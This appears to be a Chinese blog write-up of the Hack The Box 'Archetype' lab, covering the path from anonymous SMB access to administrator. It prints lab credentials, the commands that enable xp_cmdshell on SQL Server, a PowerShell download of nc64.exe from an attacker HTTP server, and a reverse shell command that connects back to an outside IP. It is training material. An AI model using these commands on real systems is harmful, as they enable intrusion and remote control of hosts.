首页 > 其他分享 >TIER 2: Archetype

TIER 2: Archetype

时间:2023-06-23 14:00:20浏览次数:67  
标签:exe cmdshell nc64 sql 使用 TIER xp Archetype

TIER 2: Archetype

扫描 nmap

使用 nmap 进行扫描目标 IP,发现目标是 Windows 服务器,开放 SMB 和 SQL Server 服务。

SMB

SMB 之前已经接触过,在 Windows 和 Linux 操作系统上连接 SMB 服务器的方法:

  • windows 上使用:使用资源管理器、cmd 的 net、powershell 的 New-PSDrive 等。
  • linux 上需要借助 smbclient 进行连接,smbclient 属于 samba 的一部分。

Microsoft 官方资料:

我们在 kali 使用 smbclient 时,先使用 -N 和 -L 选项进行匿名登录和列出共享目录。提示使用 smbclient 不明白时,用 man smbclient 查看帮助文档。在 backups 下可以发现一个 prod.dtsConfig 配置文件,通过 get 可以下载这个文件。

使用 cat 查看文件,我们可以发现其中是明文存储账号密码凭证。主机 ARCHETYPE 用户 sql_svc 密码 M3g4c0rp123 凭证。

Microsoft SQL Server

Microsoft SQL Server 是由 Microsoft 开发和管理的关系型数据库管理系统(RDBMS)。SQL Server 使用 TCP/IP 协议进行网络通信,并使用默认的 1433 端口号。但是,端口号可以根据需要进行配置和更改。

通过上面在配置文件中发现的信息,我们通过 impacket 工具进行登录。

  • 项目地址:https://github.com/fortra/impacket
  • 建议使用 Python 创建虚拟环境安装 impacket
  • 我们使用项目 impacket/examples/ 下的 mssqlclient.py 进行连接

使用 python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth 连接,注意 {TARGET_IP} 填写目标 IP 地址。

在登录 MSSQL 我们尝试攻击

SELECT is_srvrolemember('sysadmin'); -- 检查当前用户是否是 sysadmin

确认当前用户是 sysadmin 后,我们可以使用 xp_cmdshell 执行命令

-- 判断是否开启 xp_cmdshell
EXEC xp_cmdshell 'net user';

-- 如果没有,下面是激活 xp_cmdshell 的方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

确认激活后,通过 xp_cmdshell "whoami" 尝试。现在我们计划在目标上传 nc64.exe 二进制文件,并在监听端口上执行一个交互式的 cmd.exe 进程。

反弹 shell

我们先下载 nc64.exe 二进制文件:https://github.com/int0x33/nc.exe/blob/master/nc64.exe

注:如果使用 windows 下载可能会提示病毒

  • 下载完成后,我们使用 python3 -m http.server 80 在本地启动一个 HTTP 服务
  • 使用 xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe" 让目标下载 nc64.exe 文件
  • kali 上使用 nc -lvnp 4444 监听 4444 端口
  • 开始反弹 xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.9 4444" 让目标主动连接我们的监听端口

sql_svc 用户的 flag 在 C:\Users\sql_svc\Desktop\ 目录下。

提权

我们借助 winPEAS 工具进行提权,下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

使用步骤相似,同样是使用 Python 的 HTTP 服务,让目标下载。让目标下载后直接 .\winPEASx64.exe 运行即可。

我们可以观察到用户具有 SeImpersonatePrivilege 特权,这也容易受到 Juicy Potato 漏洞利用的影响。然而,我们可以首先检查两个现有的文件,其中可能存在凭据。

由于这是一个普通用户账户和服务账户,值得检查频繁访问的文件或执行的命令。为了做到这一点,我们将读取 PowerShell 历史文件,这相当于 Linux 系统中的 .bash_history 文件。ConsoleHost_history.txt 可以在路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 目录下。通过分析 PowerShell 历史文件,攻击者可以查找之前执行过的命令、访问过的文件路径以及可能存在的敏感信息和凭据。他们可能会寻找密码、敏感命令、远程连接等活动,以获取对其他系统或账户的进一步访问权限。

最终我们在 ConsoleHost_history.txt 中可以发现管理员密码 MEGACORP_4dm1n!!,之后使用 psexec.py 连接 Administrator 用户即可。flag 在 C:\Users\Administrator\Desktop\ 目录下。

标签:exe,cmdshell,nc64,sql,使用,TIER,xp,Archetype
From: https://www.cnblogs.com/shadow-/p/17499075.html

相关文章

  • prettier 与 SELint
    千万注意:配置完成后,重启项目!!!重启项目!!!版本:"@vue/cli-plugin-eslint":"^5.0.8","babel-eslint":"^10.1.0","eslint":"^7.32.0","eslint-config-airbnb":"^19.0.4","es......
  • TIER 1: Crocodile
    TIER1:Crocodilenmap在前几次练习中,我们已经熟悉nmap扫描,我们在本次靶机中使用继续使用nmap进行扫描。扩充我们的知识库:-sC选项启用了Nmap的默认脚本扫描,这里涉及一个要点Nmap脚本引擎(NSE),它可以对目标进行漏洞扫描、服务探测、操作系统探测等自动化工作。直接使......
  • m异构蜂窝网络的K-Tier下行链路的matlab性能仿真,对比网络Voronoi图,覆盖率等
    1.算法仿真效果matlab2022a仿真结果如下:       2.算法涉及理论知识概要       蜂窝网络正在从精心规划的一组大型塔式基站(BSs)对异构基础设施元素的非常规部署,通常还包括微、微微和以及分布式天线。在本文中,我们为下行链路开发易于处理、灵活和精确的......
  • TIER 0: Fawn
    FTPFTP(FileTransferProtocol)是一种用于在网络上进行文件传输的协议和相应的工具RFC959文档:是定义了FTP协议的规范FTP使用两个不同的端口TCP/20和TCP/21进行数据传输和控制连接FTP控制连接使用TCP/21端口,控制连接负责处理认证、发送命令、传输目录和文件操......
  • 如何使用prettier全局格式化文件
    安装prettier如果你还没有安装prettier,你可以使用以下命令安装它:npminstall-gprettier进入需要格式化的文件夹在命令行中进入需要格式化的文件夹。 格式化文件使用以下命令批量格式化所有JavaScriptvue文件:prettier--write"src/**/*.js"prettier--write"src/**/*.......
  • org.apache.maven.archetypes:maven-archetype-quickstart 这个是干啥的
    org.apache.maven.archetypes:maven-archetype-quickstart是一个Maven项目的骨架(archetype),用于快速创建一个简单的Maven项目。当我们在命令行执行:bashmvnarchetype:generate-DgroupId=com.example-DartifactId=my-project-Darchetype......
  • 在 Alpine Linux 安装 Zerotier 并转发内网设备
    安装zerotier-onealpine:~#apkupdate&&apkaddzerotier-onefetchhttp://mirrors.ustc.edu.cn/alpine/v3.17/main/x86_64/APKINDEX.tar.gzfetchhttp://mirrors.ustc.edu.cn/alpine/v3.17/community/x86_64/APKINDEX.tar.gzfetchhttp://mirrors.ustc.edu.cn/......
  • 前沿Frontier:齿轮箱健康状态监测方法
    齿轮箱以其可靠高效平稳的调节传动比、改变传动方向的属性,在风力发电风力发电、矿山机械、船舶、汽车等诸多领域有着广泛应用。例如,风力发电过程中,采用齿轮增速箱对主传动轴进行加速,以实现高效的电磁转换;矿山机械、汽车、船舶中常采用齿轮减速箱对传动轴进行减速,以降低转速并获得......
  • Frontiers of computer Science Journal 模版踩坑经历
    官方模版提供网址如下:https://journal.hep.com.cn/fcs/EN/column/column11258.shtml编译的时候出现了文字超出页面的问题。这个问题在网上也有讨论。https://tex.stackexchange.com/questions/609199/how-to-set-bottom-padding-of-the-frontiers-of-computer-science-jour......
  • prettier配置项
    vscode的settings.json配置文件{...//其他配置项"editor.defaultFormatter":"esbenp.prettier-vscode",//设置prettier为默认格式化程序"prettier.enable":true,//启用prettier"prettier.enableDebugLogs":false,//启用调试日志"......